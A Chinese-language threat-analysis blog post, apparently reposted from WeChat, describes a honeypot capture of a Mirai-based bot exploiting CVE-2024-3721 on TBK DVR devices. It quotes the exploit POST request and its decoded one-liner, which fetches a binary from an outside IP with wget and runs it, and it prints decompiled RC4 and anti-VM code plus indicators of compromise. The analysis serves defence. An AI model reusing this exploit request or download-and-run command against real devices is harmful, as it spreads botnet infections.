蜜罐捕获一个自动化漏洞攻击的机器人程序

原文链接: https://mp.weixin.qq.com/s?__biz=MzkxOTUyOTc0NQ==&mid=2247493555&idx=1&sn=4df91360f16f4d814717187b7abce6f8

蜜罐捕获一个自动化漏洞攻击的机器人程序

二进制空间安全 2025-07-09 08:25

将二进制空间安全设为”星标⭐️”

第一时间收到文章更新

背景

在脆弱的系统中安装部署机器人程序是利用安全漏洞自动化扩大攻击范围的一种常用方式, 许多自动化机器人持续在互联网上搜索运行流行服务的服务器和设备中的已知漏洞。这些机器人常携带远程代码执行(RCE)漏洞利用工具,针对 HTTP 服务,从而允许攻击者在 GET 或 POST 请求中嵌入 Linux 命令。

最近某个蜜罐服务捕获到一种利用 CVE-2024-3721 部署机器人程序的行为。攻击对象是基于 DVR 的监控系统。DVR 设备用于记录摄像头数据,由众多制造商广泛使用,并支持远程管理。

漏洞利用

在对Linux 蜜罐系统的日志进行审查时, 有一条与 CVE-2024-3721 相关的异常请求行。该漏洞允许攻击者在未经过授权的情况下,通过特定的 POST 请求,在 TBK DVR 设备上执行系统命令,作为攻击的入口点:

"POST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%3B%20wget%20http%3A%2F%2F42.112.26.36%2Farm7%3B%20chmod%20777%20%2A%3B%20.%2Farm7%20tbk HTTP/1.1" 200 1671 "-" "Mozila/5.0"

该 POST 请求中包含一个恶意命令,它是单行 shell 脚本,用于在被攻击机器上下载并执行一个 ARM32 架构的二进制文件。

解码还原后的命令行如下:

cd /tmp; rm arm7; wget http://42.112.26[.]36/arm7; chmod 777 *; ./arm7 tbk

典型的机器人感染过程通常包括 shell 脚本初步侦查目标机器的架构,并选择对应的二进制文件。但在本次攻击中,由于目标仅为支持 ARM32 的设备,因此无需进行侦查阶段。

技术分析

经过初步分析, 该DVR机器人程序来自Mirai源码的修改, Mirai僵尸网络源码在十年前就有公开, 源码参考地址:
https://github.com/jgamblin/Mirai-Source-Code
 。

该机器人程序在源码基础上引入了一些其它特性, 例如: 使用RC4进行字符串加密、虚拟机检测技术(Anti-VM)、反模拟器技术(Anti-emulation)。这里主要剖析一下该机器人程序引入的一些新特性。

该机器人程序在数据解密过程中实现了一个简单的RC4算法, RC4密钥通过XOR加密, 解密后, 得到解密密钥明文:

6e7976666525a97639777d2d7f303177

。每解密一条数据,就会插入到一个自定义的 

DataDecrypted

结构向量中,这是一个简单的字符串列表, 以下是实现的关键代码:

int __fastcall DecryptNewtData(int index, char *enc_data, int string_length)
{
    int i;                  
    List *Strlist;         
    int DecryptedString;  
    int DecryptedData;      
    char RC4_Key[48];    // [5pt8h] [bp-30h] BYREF


    i = index;
    Strlist = DecryptedStringList;
    DecryptedString = malloc(string_length + 1);
    Strlist[i].size = string_length;
    Strlist[i].addr = (char *)DecryptedString;


    // 解密 RC4 key
    DecryptKey(RC4_Key);


    DecryptedData = malloc(string_length);


    // 解密字符串并添加到列表
    RC4_Decrypt(RC4_Key, 16, (int)enc_data, DecryptedData, string_length);
    memcpy((int)Strlist[i].addr, DecryptedData, string_length);
    Strlist[i].addr[string_length] = 0;


    return free(DecryptedData);
}

恶意软件在需要特定字符串时,会访问全局的解密数据链表, 以下是添加解密后的字符串到全局列表:

蜜罐捕获一个自动化漏洞攻击的机器人程序

反虚拟机和反模拟器

为检测自己是否运行在虚拟机(VM)或 QEMU 环境中,恶意软件会遍历所有进程,查找是否存在 VMware 或 QEMU-arm 的相关进程。列出运行中进程的方法是打开 Linux 的 

/proc

文件系统目录。

每个进程 ID(PID)都有自己的文件夹,里面包含诸如 

cmdline

的信息,可用来查看进程的启动命令。通过这些信息,恶意软件判断是否有进程与 VMware 或 QEMU-arm 有关。其关键代码如下:

proc_dir = (struct dirent *)opendir((char *)DecryptedStringList[10].addr); // 打开"/proc"目录
if (!proc_dir)
    exit(0);


while (1) {
    v4 = readdir(proc_dir);
    if (!v4) {
        closedir(proc_dir);
        return;
    }


    if ((*((_WORD *)off_2914C + *(unsigned __int8 *)(v4 + 11)) & 8) != 0) {
        sprintf((int)cmdline_path, 256, "/proc/%s/cmdline", (const char *)(v4 + 11)); // 获取完整的命令行
        cmdline_file = fopen(cmdline_path, "r");


        if (cmdline_file) {
            if (fgets(line, 256, cmdline_file) && strequal(line, (char *)DecryptedStringList[102].addr)) {  // 校验是否是"qemu-arm"
                sub_130D4((unsigned __int6 *)cmdline_file, v2, v3);
                closedir(proc_dir);
                goto Exit;
            }
            sub_130D4((unsigned __int6 *)cmdline_file, v2, v3);
        }
    }
}

该恶意程序还会检查自己的运行目录是否在预设的允许列表中:

蜜罐捕获一个自动化漏洞攻击的机器人程序

在这些检查成功通过后, 机器人才会继续执行, 为接收指令做准备。

结论

攻击者利用未打补丁的物联网设备和服务器中的已知安全漏洞,加上针对基于 Linux 系统的恶意软件的大量使用,导致不断有大量机器人在互联网中搜索可供感染的设备。

这些机器人程序的主要目的,是实施使网站和服务瘫痪的 DDoS 攻击。大多数机器人在设备重启后不会继续存活,因为某些设备固件不允许文件系统发生更改。为了防范这类感染,我们建议在安全补丁发布后及时更新易受攻击的设备。如果设备已经暴露并确实存在漏洞,也可以考虑恢复出厂设置。

威胁指标

文件指纹:

Md5
SHA1
SHA256
011A406E89E603E93640B10325EBBDC8
22B2333298B7CC9913C1EAF422DBE8830840D3E0
7461C0F8FEAC69A39586C4C1ECFEB32627C5A83043721BA0144479EFC0F036A1
24FD043F9175680D0C061B28A2801DFC
961C5CB9288292A58C3DF007948DBB8E3602192D
438DC2A85E37356EEFD2D40AC7BAFA8C3AD273DD36991D4B155208C3A3D460B5
29B83F0AAE7ED38D27EA37D26F3C9117
02A9B16A19A03E75D42D1C9C83FA4A5414CE26DC
F3989E7CCA7D17C909C5F53945C7846D2D269D32113042BF535285C4D75624E6
2E9920B21DF472B4DD1E8DB4863720BF
9408BA21116C5904E9B1D910F96DAEF5646E2DCE
1FEFA03738B8ED2768F9AAF2B0E4CA4098FEF7122F0157AB010686D7345B2E62
3120A5920F8FF70EC6C5A45D7BF2ACC8
6C4CBD259AA9D2A7F858AE607AA36DA928F9268E
9AE1955B9DE5E4E6B23E55D2AAB3230FF3A6B5C723D77A6653B2145719DC2EB6
3C2F6175894BEE698C61C6CE76FF9674
69ADF42EA2216846631A85791B653B6CCBC45FB4
86EF39910B9361F012F889146E16B2E279A07465FE3E2F9B493EF0534A5C66C0
45A41CE9F4D8BB2592E8450A1DE95DCC
5160989BA4F8A75EF4E09DEA0FDA3BF7A2211FB7
29754B61A1CCE8C965BBC98EFB125991B8B605DEA9F3394C277092F30A109BDB
524A57C8C595D9D4CD364612FE2F057C
C57A8EF11EC531EAFD62DCB6C3AE558EA59BED08
3BDBED482342487E08F5266E1A9B6478FCD0BE645EDCFB1E8C6DDA1DAC73CCE9
74DEE23EAA98E2E8A7FC355F06A11D97
152B73F3E91EBA572CBD8470A0F01ADF363B7D64
B2BE07ED781BCDEF614CD7C1461D81BFD8DF2BC7EB11B6BFB5B202AF881D727C
761909A234EE4F1D856267ABE30A3935
2E95BBF3069F603AE7FF882770F49DC36223A626
DD54E4A0220B6AFBE0DBEE66E32AF3FE2012CC37023044A683E8E0C98579A059
7EB3D72FA7D730D3DBCA4DF34FE26274
9AF03BFAFEDD0A957A5C936FBBC4FBB5897F6252
DD63DD735DD6DC8B3CB74C5A24CC13138414B3C41947618C3DD9408ED430BF79
8A3E1176CB160FB42357FA3F46F0CBDE
E77427EAFC1AD985D83A37F68492318AFFAF466F
4ABACEF49032666C0D0B4A006368386BDC6C0367F6C5E21B022B650FB8DABDBC
8D92E79B7940F0AC5B01BBB77737CA6C
05168A7A2816DC792D80F0A7C65B102B38E93BF1
1C39DBF66A362DF572AF7AD64164CC7D70A8875DB68A710979D243760D8C027B
95EAA3FA47A609CEEFA24E8C7787BD99
46EE0AAC6D64415146792C40A7F94989B5510107
E5F9A505082501B32D442A3FA6A9FB40A48B7DA91A5A0EFC5677BED5401E0C2B
96EE8CC2EDC8227A640CEF77D4A24E83
F836182A8A93DB7985CDD67A5C1F5DBBF90BBE2A
2A397594A3B009DF342886A3480264A8773971559C79C8F95B1319EAE77C55D6
AAF34C27EDFC3531CF1CF2F2E9A9C45B
069A400624F2FCF69BCA8A43FD52C05E95758927
DD2C66661D94F007D87754DCBC1ACE9F228785676632A39FEF2CE0E26D54E206
BA32F4EEF7DE6BAE9507A63BDE1A43AA
2D877399E481A6EBDED108631B55FF049C3316F4
52BD9E57F7DB2716D2EC570BC9A5DE9BA96BC620EDB3AC9469B5B131B004A030

IP地址:

116.203.104.203
130.61.64.122
161.97.219.84
130.61.69.123
185.84.81.194
54.36.111.116
192.3.165.37
162.243.19.47
63.231.92.27
80.152.203.134
42.112.26.36